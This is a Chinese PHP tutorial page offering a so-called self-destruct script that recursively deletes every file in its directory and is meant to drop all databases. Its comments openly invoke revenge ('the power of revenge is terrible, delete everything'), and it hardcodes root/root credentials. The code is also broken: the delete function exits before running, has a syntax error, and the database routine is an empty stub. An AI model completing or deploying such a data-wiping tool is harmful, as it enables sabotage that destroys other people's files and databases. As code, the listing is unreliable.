当前位置:首页 > PHP教程 > php应用 > 列表

PHP自毁程序(慎用)

发布:smiling 来源: PHP粉丝网  添加日期:2021-06-11 09:14:20 浏览: 评论:0 

这篇文章主要介绍了PHP自毁程序,可实现递归删除当前目录及数据库的功能,完成当前程序的卸载,用户需谨慎使用,需要的朋友可以参考下,本文实例讲述了PHP自毁程序,分享给大家供大家参考,具体实现方法如下:

  1. <?php 
  2. // +---------------------------------------------------------------------- 
  3. // | Kill!! 
  4. // | 程序将清除本目录所有文件、目录 
  5. // | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!) 
  6. // +---------------------------------------------------------------------- 
  7. // | Version: $Id$ 
  8. // +----------------------------------------------------------------------  
  9. //----------数据库配置区域----------------- 
  10. //复仇的力量是很可怕的,所以无需指定数据库,全删! 
  11. define('DB_USER', 'root'); 
  12. define('DB_PWD', 'root'); 
  13. define('DB_HOST', 'localhost'); 
  14. define('DB_PORT', '3216'); 
  15. define('DB_DAMAGE', true); //为false时,不碰数据库 
  16. run(); 
  17. /** 
  18.  * 主体思想必须光辉伟大! 
  19.  * 
  20.  * @return void 
  21.  **/ 
  22. function run() 
  23. { 
  24.  //删除文件 
  25.  deletedir(); 
  26.  //删除数据库 
  27.  deleteDB(); 
  28. } 
  29. /** 
  30.  * 呵呵呵,删除当前目录所有文件(递归) 
  31.  * 
  32.  * @return void 
  33.  **/ 
  34. function deletedir($dir = ''){ 
  35.  if ($dir == '') { 
  36.   $dir = realpath('.'); 
  37.  } 
  38.  echo $dir; 
  39.  exit(); 
  40.   if(!handle=@opendir($dir)){ 
  41.   //检测要打开目录是否存在 
  42.   die("没有该目录"); 
  43.   } 
  44.   while(false !==($file=readdir($handle))){ 
  45.     if($file!=="."&&$file!==".."){ 
  46.     //排除当前目录与父级目录 
  47.     $file=$dir .DIRECTORY_SEPARATOR. $file; 
  48.     if(is_dir($file)){ 
  49.      deletedir($file); 
  50.     }else{ 
  51.      if(@unlink($file)){ 
  52.       echo "文件<b>$file</b>删除成功。<br>"; 
  53.      }else{ 
  54.       echo "文件<b>$file</b>删除失败!<br>"; 
  55.      } 
  56.     } 
  57.     } 
  58.     if(@rmdir($dir)){ 
  59.     echo "目录<b>$dir</b>删除成功了。<br>\n"; 
  60.     }else{ 
  61.     echo "目录<b>$dir</b>删除失败!<br>\n"; 
  62.     } 
  63.    } 
  64. /** 
  65.  * 呵呵呵,删除数据库 
  66.  * 
  67.  * @return void 
  68.  **/ 
  69. function deleteDB() 
  70. { 
  71.  if(DB_DAMAGE === true){ 
  72.   //start 
  73.  } 
  74. }

Tags: PHP自毁程序

分享到: